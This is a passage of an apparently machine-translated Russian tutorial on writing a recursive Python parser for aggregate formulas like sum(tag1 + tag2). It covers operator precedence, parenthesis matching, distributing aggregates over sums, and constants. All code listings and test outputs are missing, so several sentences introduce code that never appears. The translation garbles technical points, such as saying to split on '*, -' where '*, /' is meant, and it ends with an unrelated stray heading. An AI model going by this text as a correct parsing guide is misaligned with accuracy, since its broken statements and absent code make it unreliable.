    Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ Π°Π³Ρ€Π΅Π³Π°Ρ‚Π°ΠΌΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ sum (tag1 + tag2) .

    ИдСя Ρ‚Π°ΠΊΠΎΠ²Π°:

    1. НайдитС Π² Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π»ΡŽΠ±Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ +, -, *, / , Π·Π°Ρ‚Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ Π½Π° нСсколько ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ².
    2. ΠžΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°ΡƒΠ½Π΄ рСкурсии для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ
    3. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ вычислСниС - плюс, минус, ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π΄Π΅Π»Π΅Π½ΠΈΠ΅ - ΠΌΠ΅ΠΆΠ΄Ρƒ значСниями ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ²

    Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ r '[\ + \ -] ', Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄Π²Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°: Π»Π΅Π²Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ ΠΈ ΠΏΡ€Π°Π²Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚.Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ±Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² Ρ€Π΅ΠΊΡƒΡ€ΡΠΈΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ уровня для получСния ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ПослС этого Π΄Π²Π΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ рассчитаны Π½Π° основС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.

    ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ совСты:

    • Π›Π΅Π²Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π°Ρ‚ΠΎΠΌΠ°Ρ€Π½Ρ‹ΠΌ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ большС Π½Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ².
    • ΠŸΡ€Π°Π²Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ большС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², Π½ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ Π² рСкурсии ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ уровня.
    • ΠžΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ сначала Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° +, - , Ссли Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ.Π—Π°Ρ‚Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅ Π½Π° *, - , Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Π½Π΅ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ +, - . Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ *, - Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒΡΡ с Π±ΠΎΠ»Π΅Π΅ высоким ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ΠΎΠΌ, Ρ‡Π΅ΠΌ +, - .
    • ΠŸΡ€ΠΈ расчСтС дСлСния / ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ знамСнатСля Π·Π°Ρ€Π°Π½Π΅Π΅.

    Π¨Π°Π³ 3: ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π³Ρ€Π΅Π³Π°Ρ†ΠΈΠΈ

    Наш синтаксичСский Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ достаточно ΡƒΠΌΠ΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΡƒΡŽ ​​формулу sum (tag1 + tag2) + avg (tag3) , Ρ‡Ρ‚ΠΎ эквивалСнтно sum (tag1) + sum (tag2) + срСдн. (tag3) .

    Π’ этом случаС наша прСдыдущая функция ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ sum (tag1 + tag2) + avg (tag3) Π½Π° Π΄Π²Π΅ части:

    Если это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, вся функция Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ошибкой. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ способ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки (ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ), Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΎΠΏΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ находятся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок.

    Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (Π² красном ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π΅):

    Ѐункция remove_matched_parantheses выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

    ОбъяснСниС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ:

    1. Π£Π΄Π°Π»ΠΈΡ‚Π΅ всС совпавшиС ΠΏΠ°Ρ€Ρ‹ скобок, Ссли ΠΎΠ½ΠΈ Π΅ΡΡ‚ΡŒ
    2. Π Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ всС +, - .Если Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅ с использованиСм *, /
    3. НачнитС с самого Π»Π΅Π²ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°, Ссли ΠΎΠ½ содСрТит Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки (число ( Ρ€Π°Π²Π½ΠΎ ) ), этот ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ являСтся Π»Π΅Π²Ρ‹ΠΌ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠΌ, Π° всС ΠΏΡ€Π°Π²ΠΎΠ΅ - ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚.
    4. Если ΠΎΠ½ Π½Π΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½, ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρƒ, ΠΏΠΎΠΊΠ° Π½Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚, Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки (ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌ). Π—Π°Ρ‚Π΅ΠΌ всС ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ слСва Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ соСдинСны ΠΊΠ°ΠΊ Π»Π΅Π²Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚, Π° всС ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ справа - это ΠΏΡ€Π°Π²Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚.

    ΠŸΠΎΡ‡Π΅ΠΌΡƒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ всС совпавшиС ΠΏΠ°Ρ€Ρ‹ скобок?

    ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, наша Ρ„ΠΎΡ€ΠΌΡƒΠ»Π° - сумма (tag1 + tag2) * avg (tag3) . Если ΠΌΡ‹ Π½Π΅ ΡƒΠ΄Π°Π»ΠΈΠΌ ΡΠΎΠ²ΠΏΠ°Π²ΡˆΡƒΡŽ ΠΏΠ°Ρ€Ρƒ скобок, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π° сумм (tag1 ΠΈ tag2) * avg (tag3) , поэтому наша функция Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ ошибкой.

    Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ распознаСм ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π² скобках, ΠΊΠ°ΠΊ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅.

    ΠœΡ‹ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ смоТСм Π΅Π³ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг.

    Π¨Π°Π³ 4: Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ассоциативного Π·Π°ΠΊΠΎΠ½Π°

    ΠŸΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с суммой (tag1 + tag2) тСкущая вСрсия ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Ссли количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ tag1 Ρ€Π°Π²Π½ΠΎ tag2 . Однако ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ссли ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€Π° ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠΉ. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ sum (tag1 + tag2) Π² sum (tag1) + sum (tag2) . Π’Π°ΠΊΠΆΠ΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ, Π΅ΡΡ‚ΡŒ Π»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π³Ρ€Π΅Π³Π°Ρ‚Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки.

    ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ +, - Π²Π½ΡƒΡ‚Ρ€ΠΈ суммы () .

    Π˜Π½Ρ‚ΡƒΠΈΡ†ΠΈΡ:

    1. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ агрСгирования, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ sum
    2. Π£Π΄Π°Π»ΠΈΡ‚Π΅ внСшнюю Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ агрСгирования
    3. НайдитС всС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅, Ρ‚.Π΅. Π½Π΅ Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… скобках. Π—Π°Ρ‚Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅ строку Π½Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²
    4. Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Π³Ρ€Π°ΠΌΠΌ. сумма () Π² качСствС прСфикса ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π°Ρ скобка Π² ΠΊΠΎΠ½Ρ†Π΅ )
    5. ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ всю строку Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ€Π΅ΠΊΡƒΡ€ΡΠΈΡŽ

    Π’ΠΎΡ‚ ΠΊΠΎΠ΄:

    Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ Ρ€Π°Π±ΠΎΡ‚Ρƒ.

    Π¨Π°Π³ 5: ИспользованиС ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок для измСнСния ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π°

    Наш ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ вычислСний, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, эта Ρ„ΠΎΡ€ΠΌΡƒΠ»Π°

    sum (tag1 + (tag2-tag3)) * (max (tag4) + avg (tag5))

    Π˜Π½Ρ‚ΡƒΠΈΡ†ΠΈΡ этого шага состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Ρƒ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок, Π·Π°Ρ‚Π΅ΠΌ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ внСшниС скобки ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ содСрТимоС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ рСкурсии.ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΏΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ шаблон, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ начинаСтся с ( ΠΈ заканчиваСтся Π½Π° ) , Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΏΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠ°Ρ€Ρ‹ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ sum (...) .

    Π˜Ρ‚Π°ΠΊ, ΠΌΡ‹ просто добавляСм Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ условиС elif для соотвСтствия этому ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ содСрТимоС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ рСкурсии.

    Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° ваТная Π²Π΅Ρ‰ΡŒ - ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ бСсконСчной рСкурсии здСсь. ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ суммы Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ sum (tag1 + (tag2-tag3)) , наша прСдыдущая рСализация ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡˆΠ΅Ρ‚ это Π² sum (tag1) + sum ((tag2-tag3)) .Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ sum ((tag2-tag3)) Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Π±Π΅ΡΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ€Π΅ΠΊΡƒΡ€ΡΠΈΡŽ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ сумму ΠΊ содСрТимому.

    Код Π½ΠΈΠΆΠ΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для прСдотвращСния этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹. ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π°, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†ΠΈΠΊΠ» while , Π° Π½Π΅ ΠΎΠ΄Π½ΠΎ условиС if , состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π±ΠΎΠ»Π΅Π΅ устойчивой ΠΊ Ρ‚Π°ΠΊΠΈΠΌ ситуациям, ΠΊΠ°ΠΊ сумма ((((tag2-tag3)))) .

    А Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ.

    Π¨Π°Π³ 6: Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ констант

    Иногда Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² Ρ„ΠΎΡ€ΠΌΡƒΠ»Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ константы.НапримСр, ΠΏΠΎΠ²Π΅Ρ€Ρ… ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ:

    (сумма (tag1 + (tag2-tag3)) + 10) * (max (tag4) + avg (tag5)) * 0,2

    Π˜Π½Ρ‚ΡƒΠΈΡ†ΠΈΡ этого шага ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ проста. Нам просто Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ числом. Если Π΄Π°, Π²Π΅Ρ€Π½ΠΈΡ‚Π΅ этот Π½ΠΎΠΌΠ΅Ρ€.

    Π•Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ условиС Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΡΡ‚ΠΈΠ³Π°Ρ‚ΡŒ этого:

    Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ это:

    На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ нашСго Π°Π½Π°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π° Ρ„ΠΎΡ€ΠΌΡƒΠ» Python. Π’Π΅ΡΡŒ ΠΊΠΎΠ΄ доступСн здСсь:

    https: // gist.github.com/qiuyujx/fd285e2a2638978ae08f0b5c3eae54ab

    ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ строк Π² datetime Π² Python

    Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅

